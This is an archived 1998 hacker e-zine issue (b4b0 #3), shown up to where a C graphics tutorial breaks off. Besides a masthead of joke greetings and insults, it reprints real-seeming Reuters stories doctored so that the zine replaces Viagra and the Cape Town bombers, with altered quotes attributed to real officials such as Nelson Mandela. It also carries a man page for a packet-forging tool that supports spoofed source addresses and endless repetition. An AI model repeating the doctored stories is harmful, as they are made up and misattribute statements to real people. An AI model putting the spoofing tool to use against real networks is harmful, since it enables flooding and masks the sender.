home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-03.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  76.4 KB  |  2,090 lines

  1.                          .s$s
  2.                        .s$$'`$$s.
  3.                            .s$$'
  4.                b      4  .s$$$'  b    0     +-+-+-+-+
  5.                           `$$$&s.           |b|4|b|0|
  6.                              `$SSs.         +-+-+-+-+
  7.                      `$s.   .s$$$$'  [ (c) 1998 the b4b0 party programme ]
  8.                       `$$$$$$$$$'    [ all rights reserved be0tch.       ]
  9.                  [ oh yes. ]
  10.                           [ number three. ]
  11.         [ wee! ]
  12. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  13. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  14. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  15.  
  16.  
  17. thiz episodez theme:
  18. "everybody is entitled to their own opinion as long as they are american."
  19.                             .-------------------.
  20.                             | table of contentz |
  21.                             `-------------------'
  22.  
  23. (1)     introduction . . .  - [jsbach]
  24. (2)     b4b0 world newz - [ge0rge]
  25. (3)     ippacket 2.0 - [chrak]
  26. (4)     The Preservation of IPv4 - [r4lph]
  27. (5)     An introduction to 3D graphics programming - [aqua]
  28. (6)     ASM on the Linux/i386 platform - [chrak]
  29. (7)     b4b0 misc, warnings, etc [ge0rge]
  30. (8)     Golf Telephony Juarez - [Qytpo]
  31. (9)     a fuqn awesome minicom static buffer overflow  - [ohday]
  32. (A)     a high level sockets API - [presonic]
  33. (B)     writing lkm's - [segv]
  34. (C)     HP-UX security pt 2 - [tip]
  35. (D)     Compiled Sparc Assembly Language d0x - [various !]
  36.  
  37.                                 writerz, misc.
  38.                                 -------------
  39.  
  40. The Fearless Leader of b4b0!                    ge0rge
  41. Some Canadian Kid                               r4lph m4lph
  42. An English Stealer-of-American Women            gR3-0p
  43. Manager of the Hotel California                 phFh4ck3r
  44. Not Usually Around                              lh0ar
  45. Guy With a Big Afro                             qytpo
  46. Mister Nice Guy                                 tEEp
  47. White, Black, Male, Female                      KuR4cK
  48. Loves Frosted Flakes                            seegn4l
  49. The Bovine Rebel                                thE miLk
  50. An Aussie Be0tch                                d00k
  51. Harpoon boy                                     pres0niq
  52.  
  53. greets:
  54. _jenna, vect0rx, sadjester, ashtray lumber jacks, monica lewinski, bin
  55. laden, bert & ernie, c0t, israel, afghanistan (your guns are on the way),
  56. sudan, r4lphs mom, mira sorvino, seegn4l's dad, katie holmes, and newt
  57. gingrich.
  58.  
  59. fuck yous:
  60. "the establishment", siliteks father, siliteks mom, silitek, United States
  61. Government, Coolio, #hackphreak, irc warriorz, you ppl who knock on my
  62. door asking if i want to buy books, you people who come and talk to me
  63. about god when im on the street, you people who come and arrest me for
  64. pissing on your car, and you people who don't l0ve b4b0!
  65.  
  66.  
  67. Official Idiot(s) Of the Month (more than one this issue)
  68. ------------------------------
  69. coolio  this kid has absolutely NO skill whatsoever at anything. Please,
  70.         do your part and make fun of him for a better america.
  71.  
  72. JP      of Antionline.com. You figure it out.
  73.  
  74.                                 Quote(s) of the Month
  75.                                 ------------------
  76.  
  77. "dude, I'm diverse" -r4lph m4lph
  78.  
  79. "I want to publish zines, and rage against the machine..."
  80.                         -"Flagpole Sitta" Harvey Danger
  81.  
  82. "Did I miss a fucking meeting with the coffee?"
  83.                         - "Lock and Load" Dennis Leary
  84.  
  85. "Everyone is so1o until proven otherwise."
  86.                         - ekiM
  87.  
  88. [ introduction - jsbach        ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  89. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  90. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  91. Hi, I'm the editor for this edition of b4b0.
  92.  
  93.   We decided that we'd trade off editorship each issue... At any rate,
  94. it'd be cool if we started getting submissions from people on the inet, so that
  95. not all the articles are by the regular b4b0 staff.  For now, you can send
  96. feedback, articles, etc to --> submissions@b4b0.org
  97.  
  98. If u don't have a submission but have something to say send it to
  99. letters@b4b0.org !!
  100.  
  101. SORRY ABOUT THE LATENESS OF THIS ISSUE
  102. ITS JUST PEOPLE SAY THEY WILL WRITE SHIT
  103. AND THEN THEY DON'T
  104. *****************************************************************/
  105.  
  106. [ 2 - b4b0 w0rld gn00z! ]- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  107. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  108. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  109.  
  110. FDA says 69 deaths among U.S. b4b0 readers
  111.  
  112.    By Jonathan Wright
  113.  
  114.    WASHINGTON (Reuters) - At least 69 Americans who took the
  115.    erection-enhancing zine b4b0 died in the first four months it was on
  116.    the market, the Food and Drug Administration (FDA) said in a new
  117.    report.
  118.  
  119.    But the deaths, which have been mounting steadily over the months, may
  120.    not indicate any special danger from the b4b0 Inc. (b4b0 - news)
  121.    zine, given the age, health and large number of men who are reading it,
  122.    specialists said.
  123.  
  124.    Doctors have written out 3.6 million prescriptions and millions of men
  125.    have read the zine, which was hailed on its release in March as the
  126.    long-awaited wonder zine for many men who had difficulty getting an
  127.    erection.
  128.  
  129.    ``If there is a one in 100,000 chance of something happening that's
  130.    pretty low ... What I tell my patients is that there is uncertainty. I
  131.    think it's a safe zine but I think long-term studies are going to tell
  132.    us how this works out,'' James Barada, a urologist in Albany, New
  133.    York, told Reuters Wednesday.
  134.  
  135.    The FDA, collating voluntary accounts from many sources, said 18 of
  136.    the patients died during or immediately after sexual intercourse.
  137.    Within a further five hours of reading the zine, seven others had begun
  138.    to show whatever symptoms eventually led to death, said the the report
  139.    that was posted Monday on the agency's Internet site.
  140.  
  141.    Dr. David Flockhart, an expert in zine interactions at Georgetown
  142.    University in Washington, said in a recent interview that it would be
  143.    very hard to blame such deaths on b4b0.
  144.  
  145.    ``I wonder what the baseline death rate is without b4b0,'' he said.
  146.    ``How many people die during the act anyway?''
  147.  
  148.    ``If you age-index it for how many medical problems the individuals
  149.    have and you take out those who took it inappropriately, I don't know
  150.    of any huge disasters,'' William Steers of the University of Virginia
  151.    said of earlier figures.
  152.  
  153.    The FDA noted that the link with b4b0 was circumstantial and it did
  154.    not know how comprehensive its data was.
  155.  
  156.    ``An accumulation of adverse event reports does not necessarily
  157.    indicate that the adverse event was caused by the zine. The event may
  158.    be due to an underlying disease or some other factor or factors,'' the
  159.    report said.
  160.  
  161.    ``As with all approved medications, the FDA will continue to monitor
  162.    the ... safety of b4b0 by carefully reviewing reports of death and
  163.    other serious adverse events and will continue to evaluate the need
  164.    for regulatory action,'' it added.
  165.  
  166.    The FDA received reports of 123 patients dying after being prescribed
  167.    b4b0, including 12 foreigners. In the case of 30, the reports were
  168.    from unverifiable sources and another 12 people may not have read the
  169.    zine, despite having the prescription.
  170.  
  171.    Of the remaining 69 U.S. patients -- 66 identified as men and three of
  172.    unidentified gender -- two had strokes and 46 had cardiovascular
  173.    events. The cause of death was unknown or not mentioned in the other
  174.    21 cases.
  175.  
  176.    Reports to the FDA gave ages for 55 of the dead. They ranged from 29
  177.    to 87, with a median of 64, it said.
  178.  
  179.    Fifty-one of the 69 patients had one or more of the factors associated
  180.    with cardiovascular diseases or cerebrovascular disease, such as
  181.    hypertension, smoking or obesity.
  182.  
  183.    Twelve of the men who died had taken nitroglycerin or a nitrate
  184.    medication, which can be fatal if taken in conjunction with b4b0.
  185.  
  186.    b4b0 acts by enhancing the muscle relaxant effects of nitric oxide,
  187.    a chemical that is normally released in response to sexual
  188.    stimulation. This allows increased blood flow into certain areas of
  189.    the penis, leading to an erection.
  190.  
  191.    The labeling warns patients not to mix it with nitrate-based heart
  192.    drugs and advises a thorough medical examination before the drug is
  193.    prescribed.
  194.  
  195.    ``There is a degree of cardiac risk associated with sexual activity;
  196.    therefore, physicians may wish to consider the cardiovascular status
  197.    of their patients prior to initiating any treatments for erectile
  198.    dysfunction,'' the labeling adds.
  199.  
  200.    But one consumer group, Public Citizen, said last week that the
  201.    labeling was not strong enough.
  202.  
  203.    ``The FDA, in their rush to approve this zine, never put this zine
  204.    before an advisory committee,'' said Dr. Sidney Wolfe, director of
  205.    Public Citizen's health research group.
  206.  
  207.    ``There are a number of studies in different species showing damaged
  208.    blood vessels with long-term use. This is not terribly surprising but
  209.    there is no mention in the labeling,'' he added.
  210.  
  211.    The American College of Cardiology and the American Heart Association
  212.    have expressed concern about the use of b4b0 by patients with any
  213.    kind of heart disease.
  214.  
  215.    Barada, who helped draw up erectile dysfunction guidelines for the
  216.    American Urological Association, said he was concerned about the
  217.    deaths because some people may have a special sensitivity to the zine
  218.    and some doctors might be prescribing it to the wrong people.
  219.  
  220.    ``There may be a population that is more sensitive to these zines than
  221.    we were able to pick up in the trials. It may be playing Russian
  222.    roulette with an elite zine ,'' he said.
  223.  
  224.  
  225. S.Africa refuses to be stage of global conflict
  226.  
  227.    By Emma Thomasson
  228.  
  229.    CAPE TOWN (Reuters) - A bomb that exploded in a Cape Town restaurant
  230.    was apparently linked to U.S. strikes on b4b0!, but South Africa
  231.    warned Wednesday it would not allow its territory to become a stage
  232.    for foreign conflict.
  233.  
  234.    ``We cannot allow our country to become a theater for experiments in
  235.    international terrorism,'' South African Safety and Security Minister
  236.    Sydney Mufamadi told a news conference.
  237.  
  238.    Police initially said two people had died in Tuesday's blast at Cape
  239.    Town's Planet Hollywood restaurant. They said 27 were also injured.
  240.  
  241.    On Wednesday, however, police spokesman Wicus Holtzhausen told Reuters
  242.    there had been an error and that only one person, separately
  243.    identified as 50-year-old bank employee Fanie Schoeman, died at the
  244.    scene when his legs were blown off.
  245.  
  246.    ``There was a lot of confusion between ambulance people. One guy said
  247.    one died on the scene and one died on his way to hospital. But it was
  248.    the same guy,'' he said.
  249.  
  250.    Mufamadi said detectives who helped probe the recent bombing of the
  251.    U.S. embassy in Nairobi were due to arrive later on Wednesday to help
  252.    investigate the attack.
  253.  
  254.    ``We feel there is something that can be gained by sharing
  255.    experiences, sharing notes,'' he said.
  256.  
  257.    President Nelson Mandela said he was certain the police had good leads
  258.    on the bombing and b4b0.
  259.  
  260.    ``I have no doubt that b4b0 actually committed this crime and I'm
  261.    confident that they're going to arrest them,'' Mandela said after a
  262.    function at a school in rural Transkei.
  263.  
  264.    Police spokesman John Sterrenberg told Reuters investigators were
  265.    viewing video material, thought to be from the restaurant's security
  266.    cameras, but said he could not give further details for fear of
  267.    jeopardizing the probe.
  268.  
  269.    The South African Broadcasting Corporation said in its main news
  270.    bulletin that it was in possession of video footage of a b4b0 member
  271.    in the blast but would not release it in the interest of ongoing
  272.    investigations.
  273.  
  274.    Two callers, claiming to represent the local b4b0 group told the Cape
  275.    Talk radio station on Tuesday the bombing was in retaliation for U.S.
  276.    missile attacks on Afghanistan and Sudan last week.
  277.  
  278.    The group later denied it was behind the attack. A spokeswoman
  279.    declined to comment on the blast, but told Reuters all would be
  280.    revealed at a news conference on Thursday morning.
  281.  
  282.    President Clinton said he had ordered the raids in retaliation for the
  283.    bombings of the U.S. embassies in Nairobi and Dar es Salaam and to
  284.    forestall further attacks.
  285.  
  286.    He said the targets were operations linked to Saudi-born Moslem
  287.    militant Osama Bin Laden (phfH4ck3r as known by b4b0), whom the United
  288.    States accuses of organizing and financing the embassy attacks.
  289.  
  290.    Mufamadi said if the Cape Town bombing proved to be linked to the
  291.    attacks in Nairobi and Dar es Salaam, it would be the first case of
  292.    international terrorism in South Africa.
  293.  
  294.    South African stocks plunged on Wednesday, at one stage shedding
  295.    nearly nine percent, as the bomb blast and a sharp rise in producer
  296.    inflation fanned renewed fears over stability in emerging markets
  297.    worldwide.
  298.  
  299.    A hospital official said eight-year-old British visitor Laura Giddings
  300.    lost a foot and, with her three-year-old brother Jacob, was in a
  301.    serious condition in hospital. Their father Tony suffered a broken leg
  302.    and their mother Mandy and grandfather Brian also were hurt in the
  303.    blast.
  304.  
  305.    Mark Lyall Grant, acting British High Commissioner, said his
  306.    government condemned the attack, particularly because it had targeted
  307.    a popular tourist area.
  308.  
  309.    ``This family has been ripped apart by the blast,'' he told a news
  310.    conference after visiting the Giddings in hospital.
  311.  
  312.    He said four other British citizens and one Argentinian had also been
  313.    injured in the attack. Britain had reviewed its travel advice on South
  314.    Africa, which hosts around 300,000 Britons a year, he added.
  315.  
  316.    Britain always warned of the high levels of crime in the country, he
  317.    said, but was now urging its citizens to exercise special caution
  318.    after the bomb.
  319.  
  320.    Peter Gastrow, an analyst at the South African Institute for Strategic
  321.    Studies, told Reuters the blast could pitch Cape Town's small, radical
  322.    Muslim community into a world campaign against the United States.
  323.  
  324.    ``It enables them to place themselves into the international network
  325.    that has similar agendas,'' he said.
  326.  
  327.    Sheikh Achmed Seddik, a spokesman for the Moslem Judicial Council,
  328.    condemned the attack.
  329.  
  330.    ``We're obviously condemning this bombing in the strongest terms. It
  331.    is uncalled for and senseless,'' he told Reuters.
  332.  
  333.    But he said the b4b0 community would go ahead with a march, planned
  334.    and approved by police before Tuesday's blast, on the U.S. mission in
  335.    Cape Town on Saturday to protest against the U.S. attacks in Sudan and
  336.    Afghanistan.
  337.  
  338.  
  339. ''Terrorist'' tEEp (abu nidal) jailed in Egypt: LA Times
  340.  
  341.    WASHINGTON (Reuters) - Palestinian extremist Abu Nidal (aka tEEp from
  342.    the b4b0 zine), ''whose reign over a terrorist network in the 1980s
  343.    made him one of the world's most dangerous men,'' is being held by
  344.    authorities in Egypt, the Los Angeles Times reported in Tuesday editions.
  345.  
  346.    Quoting unnamed U.S. officials, the Times reported that tEEp
  347.    ``apparently was caught after he crossed the border from Libya, where
  348.    he has been headquartered for several years.'' Few additional details
  349.    were known, the newspaper said.
  350.  
  351.    ``Recent reports in the Arab press have suggested that tEEp is ailing
  352.    and might require advanced medical care unavailable in Libya,'' the
  353.    Times reported.
  354.  
  355.    tEEp is linked to ``terrorist attacks in 20 countries that killed or
  356.    injured almost 900 people,'' the Times said.
  357.  
  358.    tEEp heads the Fatah Revolutionary Council, one of 12 groups which
  359.    had its assets frozen by President Clinton in 1995 for waging
  360.    campaigns to undermine the Middle East peace process.
  361.  
  362.    According to the newspaper, Egypt has denied reports about holding
  363.    tEEp. It quoted U.S. officials as saying the Egyptian government was
  364.    concerned about potential reaction.
  365.  
  366.    Although his organization is smaller than in the past, ``it still
  367.    commands several hundred members in the Mideast, including Lebanon,
  368.    Sudan, Syria and Iraq, with a 'limited overseas support structure,''
  369.    according to the State Department's Patterns of Global Terrorism
  370.    1997,'' the Times said.
  371.  
  372. [ ippacket 2.0 (chrak) ]-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  373. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  374. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  375. (the actual program is in b4b0.3.tgz)
  376.  
  377. ippacket(1)                                           ippacket(1)
  378.  
  379. NAME
  380.        ippacket - constructs ip packets
  381.  
  382. SYNOPSIS
  383.        ippacket <-N> [-p protocol <proto_options>]
  384.  
  385. DESCRIPTION
  386.        constructs ip packets. tcpdump -Svt is useful for use with
  387.        this program
  388.  
  389. OPTIONS
  390.        option desc (default)
  391.  
  392.        ALL:
  393.        -N     if first arg, the program will be  run  in  ncurses
  394.               mode
  395.  
  396.        -s     source_ip
  397.  
  398.        -d     dest_ip
  399.  
  400.        -I     IP identification (random)
  401.  
  402.        -T     IP ttl (60)
  403.  
  404.        -D     data to add to end of any type of packet
  405.  
  406.        -W     write outgoing packet to file
  407.  
  408.        -p     protocol   (IPPROTO_RAW)  -p '?' shows other avail-
  409.               able protocols
  410.  
  411.        -r     <num> (1) -r -1 will repeat  packet  send  forever,
  412.               else repeat num times
  413.  
  414.        TCP and UDP:
  415.        -x     udp/tcp source port (7777)
  416.  
  417.        -y     udp/tcp destination port (7778)
  418.  
  419.        TCP only:
  420.  
  421.        -f     TCP  flags  (TH_FIN)  -f  '?' shows other available
  422.               flags
  423.  
  424.        -u     urgent pointer (0) use with -f TH_URG
  425.  
  426.        -w     tcp window size (512)
  427.  
  428.        -q     tcp sequence number size (0)
  429.  
  430.                                                                 1
  431.  
  432. ippacket(1)                                           ippacket(1)
  433.  
  434.        -a     tcp ack number size (0)
  435.  
  436.        ICMP only:
  437.        -i     ICMP type (ICMP_ECHO) -i '?' shows other  available
  438.               types
  439.  
  440.        EXAMPLES
  441.               see /usr/doc/ippacket-2.0/README
  442. BUGS
  443.        If i knew theyed be fixed!
  444.  
  445. AUTHOR
  446.        shaki-!!! + fatima!!!
  447.  
  448. [ The Preservation of IPv4 ] x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  449. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  450. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  451.  
  452.  
  453.  
  454.               ============================================
  455.                 == The Preservation of IPv4 (sort of) ==
  456.                   ====== Node Network Topology ======= by r4lph
  457.                         =======================        r4lph@b4b0.org
  458.  
  459.  ============
  460. |INTRODUCTION|
  461.  ============
  462. As with all new ideas, you must keep an open mind while reading this document.
  463. "Have some sort of imagination when reading this article", as jsbach has said.
  464.  
  465. New ideas are meant to be incomplete, and must leave room for improvement.
  466. This article addresses two of the main problems with the existing IP protocol,
  467. IPv4. The first being a shortage of IP addresses, and the second being the
  468. ever increasing size of routing tables. Like I said, the ideas in this
  469. article are far from complete, and not all effects of the "for every
  470. action there is a reaction" adage are worked out.
  471.  
  472. The reason I wrote this article is because in the very near future the IP
  473. next generation (IPng) group, are going to shove something in our faces
  474. called IPv6, and I think it sucks. The arival of something like IPv6 is
  475. inevitable, although I have grown to close to IPv4 to just watch it be
  476. over taken by IPv6 without even looking at another possible solution.
  477.  
  478.  ==========
  479. |BACKGROUND|
  480.  ==========
  481.  
  482. Here I'm just going to give a little bit of background, it's probably not
  483. needed for those of you that are at all familiar with IP. Ok, under IPv4,
  484. we're running out of IP addresses to assign, plain and simple. Not only
  485. that, but with the exponensial growth of the internet, routing tables on
  486. internet gateways/routers are becoming larger and larger.
  487.  
  488. There have been several efforts in the past, and present, to work with
  489. IPv4 efficiently until IPv6 is fully implemented. The Internet Assigned
  490. Numbers Authority (IANA), the dudes that give you your IP addresses if you
  491. request a class A, B, or C, have made many a plea to the internet
  492. community, to return unused IP addresses. Classless Inter-Domain Routing
  493. (CIDR) was also an effort made in the early 90's to help reduce routing
  494. table size, and help conserve IP addresses by eliminating the idea of
  495. classes. For more information, consult RFC's - 1517, 1518, 1519, and 1520.
  496. This approach was succesful for a while, but as the internet grows, no
  497. matter how we try to save IP addresses, we need MORE. As it is, the
  498. number of 32 bit IP addresses in existance, including class D and class E
  499. addresses is 4294967296 (2^32). Sounds like alot doesn't it? Well do the
  500. math for the proposed 128 bit IP address in IPv6.
  501.  
  502.  ======
  503. |THEORY|
  504.  ======
  505. The basic theory behind my entire idea, is that only internet
  506. gateways/routers are assigned IP addresses. If you have a subnet with a
  507. router or gateway, it is assigned an IP address also. The rest of the
  508. computers on your network are assigned an 8 bit "node address". This "node
  509. address" is not assigned by any central authority like the IANA, and it
  510. need not be registered anywhere other than the router or gateway governing
  511. the subnet, or net that the computer in question is on. Now some of you
  512. might be thinking, "oh so the internal computers are invisible to the
  513. internet", well no, they're not. If you think about a gateway that has the
  514. IP address 1.1.1.1 and under the gateway there are 5 nodes, numbered 1-5,
  515. the rest of the internet sees the 3rd node on this network as 1.1.1.1-3.
  516. I'll show you how we let the gateway/router know what node to pass the
  517. packet along to in a later section, along with all the other more detailed
  518. information about these concepts. As you can see, by assigning only
  519. gateways/routers IP addresses, we can use them efficiently, and
  520. surely have enouph of them to serve the internet community. Strain on
  521. routers is removed due to the fact that they must only "know" about other
  522. routers/gateways.
  523.  
  524.  =========
  525. |SPECIFICS|
  526.  =========
  527.  
  528. Now I will explain the details of this idea, and the problems that it may
  529. pose. I left alot of areas untouched or unfinished for various reasons
  530. from, "I dont know enouph about the subject", to, "it would just make the
  531. file to facking BIG". First off I will explain the new IP packet
  532. structure. It's very simple, only 2 fields must be added, an 8 bit
  533. destination node field, and an 8 bit source node field. These 8 bit fields
  534. allow for 256 nodes under any one router/gateway. The new IP packet header
  535. is illustrated in FIG.1 (Taken from rfc791).
  536.  
  537. FIG.1
  538.  
  539. *NOTE* Each "-" represents 1 bit.
  540.  
  541.     0                   1                   2                   3
  542.     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  543.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  544.    |Version|  IHL  |Type of Service|          Total Length         |
  545.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  546.    |         Identification        |Flags|      Fragment Offset    |
  547.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  548.    |  Time to Live |    Protocol   |         Header Checksum       |
  549.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  550.    |                       Source Address                          |
  551.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  552.    |                    Destination Address                        |
  553.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  554.    |  Source-Node  |   Dest-Node   |        Options                |
  555.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  556.    |Options(cont)|                  Padding                        |
  557.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  558.  
  559. So the idea is that "Source-Node" is the computer under the gateway/router
  560. with the IP address in "Source Address", and "Dest-Node" is the computer
  561. under the gateway/router with the IP address in "Destination Address".
  562.  
  563. All routing between the two gateways/routers that the nodes in question
  564. belong to proceeds as it would with normal IPv4 implementations. The
  565. "Source-Node" and "Dest-Node" fields are transparent to all routers
  566. in between the "Source Address" and "Destination Address"
  567. gateways/routers.
  568.  
  569. When the destination gateway/router gets the packet, it
  570. will forward it to the node in the "Dest-Node" field. The computer which
  571. just recieved the packet will send a packet back in the same manner. It
  572. will use the "Source-Node" address of the incoming packet as the
  573. "Dest-Node" in the outgoing packet. And it's own node address as the
  574. "Source-Node" in the outgoing packet. The rest of the packet fields are
  575. filled out as they would be normally, and the packet is sent. Again, the
  576. "Dest-Node" and "Source-Node" fields are transparent to all
  577. gateways/routers en route to the "Destination Address", upon arrival, the
  578. "Destination Address" gateway/router forwards the packet to the node in
  579. "Dest-Node". Heres a time line, IP addresses/node addresses are
  580. represented like this, 1.1.1.1-14, given that 1.1.1.1 is the IP address of
  581. the router/gateway and 14 is the node address of the computer under
  582. 1.1.1.1.
  583.  
  584. - 1.1.1.1 is the source gateway
  585. - 8.8.8.8 is the destination gateway
  586. - 2.3.4.5 is misc. internet router no.1
  587. - 3.4.5.6 is misc. internet router no.2
  588. * node number 5 on the under the source gateway wants to send a packet to
  589. * node number 12 under the destination gateway.
  590.  
  591. [1] 1.1.1.1-5 --> 1.1.1.1
  592. [2] 1.1.1.1   --> 2.3.4.5
  593. [3] 2.3.4.5   --> 3.4.5.6
  594. [4] 3.4.5.6   --> 8.8.8.8
  595. [5] 8.8.8.8   --> 8.8.8.8-12
  596.  
  597. [1] The source node sends the packet to the source gateway.
  598. [2] The source gateway sends the packet to misc. router no.1.
  599. [3] Misc. router no.1 sends the packet to misc. router no.2.
  600. [4] Misc. router no.2 sends the packet to the destination gateway.
  601. [5] The destination gateway sends the packet to the destination node.
  602.  
  603. A method of assigning node addresses to an ethernet interface would have
  604. to be developed. Something like the use of "ifconfig" to assign IP
  605. addresses to ethernet interfaces. Routing tables on gateways/routers would
  606. have to be modified to take into consideration the node addresses that are
  607. under that gateway. To route packets to another subnet on the same
  608. network, you'd use the same procedure as to route to a completely
  609. different network. Protocols that do not have IP below them must be
  610. modified to reflect the "node" concept. Other protocols need little to no
  611. modification.
  612.  
  613.  ==========
  614. |CONCLUSION|
  615.  ==========
  616. The concept of Node Network Topology is less than complete, but it's not
  617. that far fetched. With some further developement, some of these ideas
  618. could be implemented (like that will ever happen). Anyways, I think we
  619. need more ideas like this as alternatives to IPv6 for IPng to consider.
  620. This type of network would require many rewritten network configuration
  621. tools, and everyday applications would need to be modified to reflect this
  622. idea. If you have any comments or additions , email me, digital@legions.org.
  623.  
  624.  
  625.                                                 r4lph
  626.                                                 digital@legions.org
  627.  
  628. [Beginning 3D Programming (jsbach) ]-x- -x- -x- -x- -x- -x- -x- -x- -x-
  629. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  630. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  631.  
  632. ------------------------------------------------------------------------------
  633. Beginning 3D Programming
  634.  
  635. (c) aqua 1998
  636.     all rights reserved
  637.  
  638. email: jsb4ch@hotmail.com
  639. ------------------------------------------------------------------------------
  640.  
  641.  
  642. Seeing a freeware C/asm 3D engine was what motivated me to learn to
  643. code...  There is nothing like being able to explore the surreal sort of
  644. mathematical universe one can create inside her computer.  In some sense,
  645. to be a computer programmer, is to be a GOD !$@#& =).  Given a 500 dollar
  646. piece of shit 486, you can create a virtual universe in which you can
  647. explore and create for your entire life if you are so inclined.
  648.  
  649. The following is a *basic* and short introduction to 3D programming...
  650. Nothing interactive, and not much math.  In other words, this will bore
  651. and patronize ppl who know their sh10t ;).  I'm not a good tutorial
  652. author.. USE THE SOURCE AND FIGURE IT OUT "!!!" =)
  653.  
  654. ****************************
  655. **** 3D CONCEPTS ***********
  656. ****************************
  657.  
  658. The idea behind 3D computer graphics is that we need to represent 3
  659. dimensional coordinates on a 2 dimensional plane ( the screen "!" ).
  660.  
  661. Suppose we had these coordinates:
  662.            x  y  z
  663. coord 1: { 1, 2, 3 }
  664. coord 2: { 1, 2, 4 }
  665. coord 3: { 2, 4, 6 }
  666.  
  667. Now we want to plot them on the screen.  We could just drop the z
  668. coordinate, so we'd be plotting:
  669.  
  670. coord 1: { 1, 2 }
  671. coord 2: { 1, 2 }
  672. coord 3: { 2, 4 }
  673.  
  674. This is indeed how some engineering graphing software operates, but it
  675. wouldn't look too realistic in an artificial universe!@#$  Upon quick
  676. examination, we see that coordinates 1 and 2 are plotted in the same
  677. place, although they don't share the same z coordinate.
  678.  
  679. If you think long and hard, you'll realize that we can simulate three
  680. dimensions on the screen via doing something like this:
  681.  
  682. 3d coords : {  x ,  y ,  z  }
  683. 2d coords : { x/z, y/z }
  684.  
  685. We are taking the z coordinate into account by dividing x and y by it.
  686. The larger z is, the smaller x and y will be (they will appear farther
  687. away), and as z gets smaller, x and y will increase (they will appear
  688. closer).  This equation iz simple and beautiful ;)
  689.  
  690. This is the basis behind my starfield program, listed below.  Try to
  691. figure it out ;)
  692.  
  693. Compile it and run it like this:
  694.  
  695. % gcc starfield.c -L /usr/X11R6/lib -I /usr/X11R6/include -lX11 -lm
  696. % ./a.out &
  697.  
  698.  
  699. /************************************************************************
  700. *****************begin 3d_tutorial_starfield.c "!"***********************
  701. *************************************************************************/
  702. /* by jsbach in like april '98 (i think) */
  703.  
  704. #include <X11/Xlib.h>
  705. #include <assert.h>
  706. #include <unistd.h>
  707. #include <stdlib.h>
  708. #include <stdio.h>
  709. #define NUM_POINTS 5000
  710. Display *display;
  711. Window window;
  712. GC graph;
  713. int blackcolor, whitecolor, count, count1, viewing_distance;
  714.  
  715. struct point {
  716. int x;
  717. int y;
  718. int z;
  719.  
  720. }points[NUM_POINTS];
  721.  
  722. struct projection {
  723. int x;
  724. int y;
  725. }projections[NUM_POINTS];
  726.  
  727. void setup(void);
  728. int point(struct point *coord);
  729.  
  730.  
  731. main(int argc, int **argv)
  732. {
  733. setup();
  734.  
  735. for (count=0; count < NUM_POINTS; count++)
  736.   {
  737.     points[count].x=(rand()%350); /* randomize z points "!" */
  738.     points[count].y=(rand()%350);
  739.     points[count].z=(rand()%350);
  740.     if (points[count].z == 0)
  741.       points[count].z=1;
  742.     printf("%d %d %d\n", points[count].x, points[count].y, points[count].z);
  743.   }
  744.  
  745. for(;;) {
  746.         XEvent e;
  747.         XNextEvent(display, &e);
  748.         if (e.type == MapNotify)
  749.             break;
  750. }
  751. while(1)
  752. {
  753. for(count1=0; count1 < 400; count1++)
  754. {
  755. for(count=0; count < NUM_POINTS; count++)
  756.   {
  757.   projections[count].x=(points[count].x*viewing_distance+6000)/points[count].z;
  758.   projections[count].y=(points[count].y*viewing_distance+6000)/points[count].z;
  759.   point((struct projection *)&projections[count]);
  760.   }
  761.  viewing_distance++;
